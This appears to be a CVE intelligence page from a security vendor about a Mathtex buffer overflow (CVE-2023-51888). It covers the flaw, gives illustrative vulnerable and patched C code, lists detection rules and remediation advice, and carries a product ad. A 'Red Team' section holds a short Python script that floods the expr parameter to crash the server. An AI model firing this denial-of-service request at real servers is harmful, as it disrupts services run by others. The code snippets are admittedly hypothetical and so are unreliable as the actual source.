☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-51888

CVE-2023-51888 Buffer Overflow in Mathtex
📅 PUBLISHED: 2024-01-24 00:00 UTC 🔄 UPDATED: 2026-09-23 10:16 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.83%
👁️
0.83% probability
20.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51888 identifies a critical buffer overflow vulnerability in the nomath() function of Mathtex version 1.05 and earlier. This flaw allows a remote, unauthenticated attacker to cause a denial of service (DoS) by sending a crafted string in the application URL. The vulnerability resides in the core rendering engine of Mathtex, a tool used to convert LaTeX math expressions into images. Successful exploitation can lead to application crashes, service disruption, and potential memory corruption. No public proof-of-concept (PoC) or patch is currently available, making this a high-risk unpatched vulnerability for any system running the affected software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official vector assigned)
  • Attack Vector (AV): Network (likely)
  • Attack Complexity (AC): Low (likely)
  • Privileges Required (PR): None
  • User Interaction (UI): None
  • Scope (S): Unchanged
  • Confidentiality (C): None
  • Integrity (I): None
  • Availability (A): High
  • Threat Level: High (due to unpatched status and remote exploitability)

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the nomath() function. This function is responsible for parsing and processing LaTeX math expressions from user-supplied input (typically via URL parameters). When a specially crafted, overly long string is passed, it overflows a fixed-size buffer on the stack, overwriting adjacent memory regions. This can corrupt the return address or other critical data, leading to a segmentation fault and denial of service. The lack of proper bounds checking in the C-based code is the root cause. The attack surface is the HTTP request handling, where the vulnerable parameter is passed directly to nomath().

Vulnerable vs. Patched Code

Vulnerable Code (Mathtex <= 1.05):

void nomath(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds checking
    // ... processing logic
}

Patched Code (Hypothetical):

void nomath(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... processing logic
}

The vulnerable code uses strcpy() which does not check the length of the source string, leading to overflow. A patched version would use strncpy() with proper length limits and null-termination.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install Mathtex 1.05 on a Linux server (e.g., Ubuntu 20.04).
  2. Ensure the CGI script is accessible via a web server (e.g., Apache with mod_cgi).
  3. Use a tool like curl or a custom Python script to send malicious requests.

Exploit Attempt:

import requests

target = "http://target-server/cgi-bin/mathtex.cgi"
payload = "A" * 1000  # Overflow string
params = {"expr": payload}

try:
    r = requests.get(target, params=params, timeout=5)
    print(f"Response: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server likely crashed (DoS achieved)")

Expected Outcome: The server process crashes, resulting in a 500 Internal Server Error or connection timeout. Repeated requests may cause persistent DoS.

Blue Team (Defensive)

Detection & Response:

  • Monitor web server logs for unusually long query strings in requests to mathtex.cgi.
  • Deploy a Web Application Firewall (WAF) rule to block requests with expr parameter exceeding 256 characters.
  • Implement rate limiting to mitigate automated exploitation attempts.
  • Use intrusion detection systems (IDS) to alert on patterns of repeated crashes.

Indicators of Compromise (IOCs)

  • Network: HTTP GET requests to /cgi-bin/mathtex.cgi with an expr parameter containing a long string of repeated characters (e.g., AAAA...).
  • Logs: Apache error logs showing segfault or SIGSEGV signals from the mathtex.cgi process.
  • System: Core dump files from the crashed mathtex.cgi process.
  • Memory: Corrupted stack frames in crash analysis.

Detection Engineering

YARA Rule

rule CVE_2023_51888_Mathtex_BOF {
    meta:
        description = "Detects buffer overflow attempts against Mathtex nomath() function"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-51888"
    strings:
        $overflow = /expr=[A-Za-z0-9%]{257,}/ nocase
    condition:
        $overflow
}

Sigma Rule

title: CVE-2023-51888 Mathtex Buffer Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with overly long 'expr' parameter targeting Mathtex
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "expr="
        cs-uri-query|length: >= 257
    condition: selection
falsepositives:
    - Legitimate large LaTeX expressions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51888 Mathtex Buffer Overflow Attempt"; flow:to_server; content:"/cgi-bin/mathtex.cgi"; http_uri; content:"expr="; http_uri; pcre:"/expr=[A-Za-z0-9%]{257,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Disable or remove the Mathtex CGI script from production servers until a patch is available.
  • Short-term: Implement input validation and length checks on the expr parameter using a reverse proxy or WAF.
  • Long-term: Contact the vendor for an official patch or consider migrating to an alternative LaTeX rendering solution (e.g., MathJax, KaTeX).
  • Compensating Controls: Run the CGI script in a sandboxed environment with limited privileges and memory limits.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51888/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.